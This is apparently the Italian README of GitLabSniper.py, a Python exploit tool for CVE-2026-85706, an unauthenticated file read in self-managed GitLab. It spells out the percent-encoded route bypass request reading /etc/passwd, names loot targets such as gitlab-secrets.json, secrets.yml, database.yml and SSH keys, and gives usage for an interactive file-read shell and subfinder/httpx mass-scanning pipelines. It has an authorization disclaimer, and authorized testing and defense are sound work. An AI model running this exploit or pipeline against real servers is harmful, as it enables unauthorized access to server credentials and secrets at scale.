
Scanner ed exploit Python in un singolo file per CVE-2026-85706, una lettura arbitraria di file non autenticata in GitLab CE/EE self-managed, con enumerazione dei progetti, percorsi di loot e una shell interattiva.
CVE-2026-85706 — lettura arbitraria di file non autenticata in GitLab CE/EE
rilevamento · enumerazione progetti pubblici · loot · shell interattiva · pipeline subfinder/httpx
Autore: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Sito: ynsmroztas.github.io
Mail: [email protected]
Da utilizzare solo su sistemi di tua proprietà o per i quali sei esplicitamente autorizzato a eseguire test (bug bounty / VDP / contratto scritto).
GitLabSniper.py è uno scanner/exploit Python in singolo file per CVE-2026-85706: una lettura di file locale non autenticata in GitLab Community Edition ed Enterprise Edition self-managed.
Non si ferma a "la versione sembra vulnerabile". Esegue il bypass del differenziale del parser di Workhorse, classifica la risposta di Rails e stampa FILE LEAK solo quando il body 400 contiene i byte del file all'interno di invalid %-encoding (...).
| Fascia | Versioni |
|---|---|
| Vulnerabili | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| Corrette | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| Fuori scope | gitlab.com · GitLab Dedicated |
Tre endpoint del repository si trovano dietro il requestBodyUploader di Workhorse:
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathRails prende il campo grezzo file.path ed esegue File.open prima di authenticate!. require_gitlab_workhorse! non è un vero gate qui: Workhorse appone già un JWT valido Gitlab-Workhorse-Api-Request su tutto ciò che proxa.
Workhorse dovrebbe riscrivere prima l'upload. La sua regex di routing corrisponde a EscapedPath() e a un clone path.Clean che non decodifica mai il percent-encoding. Puma decodifica invece %XX prima del routing di Grape.
Attacker
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← anche lo slash finale sfugge
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse la regex vede "%63ommits" / "commits/" → MISS (nessuna riscrittura)
│
▼
Puma decodifica %63 → commits → ROUTES verso Rails
│
▼
Rails File.open(params[:file][:path]) → PRIMA dell'auth
│
▼
Rack parse_nested_query(File.read(path))
"%" isolato che non è %HH
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<byte grezzi del file>)
file= vuoto soddisfa requires :file, WorkhorseFile (vuoto → nil). Il canale di leak è il ramo urlencoded. JSON/Oj non riflette i byte del file allo stesso modo — lo strumento invia sempre Content-Type=application/x-www-form-urlencoded.
//, /./, %2F e ; non bypassano: path.Clean normalizza i primi due e Puma rifiuta %2F.
L'id del progetto non è "da quale repo rubare i file". file.path è un percorso assoluto sul server. L'id è solo il pezzo di URL che raggiunge il controller vulnerabile.
| Endpoint | Requisito sul progetto |
|---|---|
files (%66iles) | Spesso funziona qualsiasi id — File.open avviene prima dei controlli sul progetto |
commits (%63ommits, commits/, commits.json) | Serve un progetto su cui un utente anonimo possa fare read_code. Altrimenti 404 Project Not Found |
Ecco perché lo strumento enumera GET /api/v4/projects e salta gli id gated.
Un leak confermato richiede questa sottostringa nel body:
invalid %-encoding (
I file senza un % isolato possono comunque essere aperti (read-noecho / successivamente branch is required) ma non verranno riflessi. Quello è un oracolo, non un dump segnalabile.
x-gitlab-* / sign-in) + range di versione quando visibileGET /api/v4/projects)1..7)%63ommits · %72epository · %66iles/ · .jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute--auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, chiavi ssh, environ)cat, loot, secrets, passwd, project <id>, curl)httpx -sc -td -title, httpx -json, ANSI rimosso-o)pip install requests
python3 GitLabSniper.py -h
Python 3.10+. Nessun'altra dipendenza.
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin non è un TTY → --pipe è implicito
cat hosts.txt | python3 GitLabSniper.py --auto
Il parser accetta:
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json (url / status_code)host nudo e host:port[0] / timeout / vuote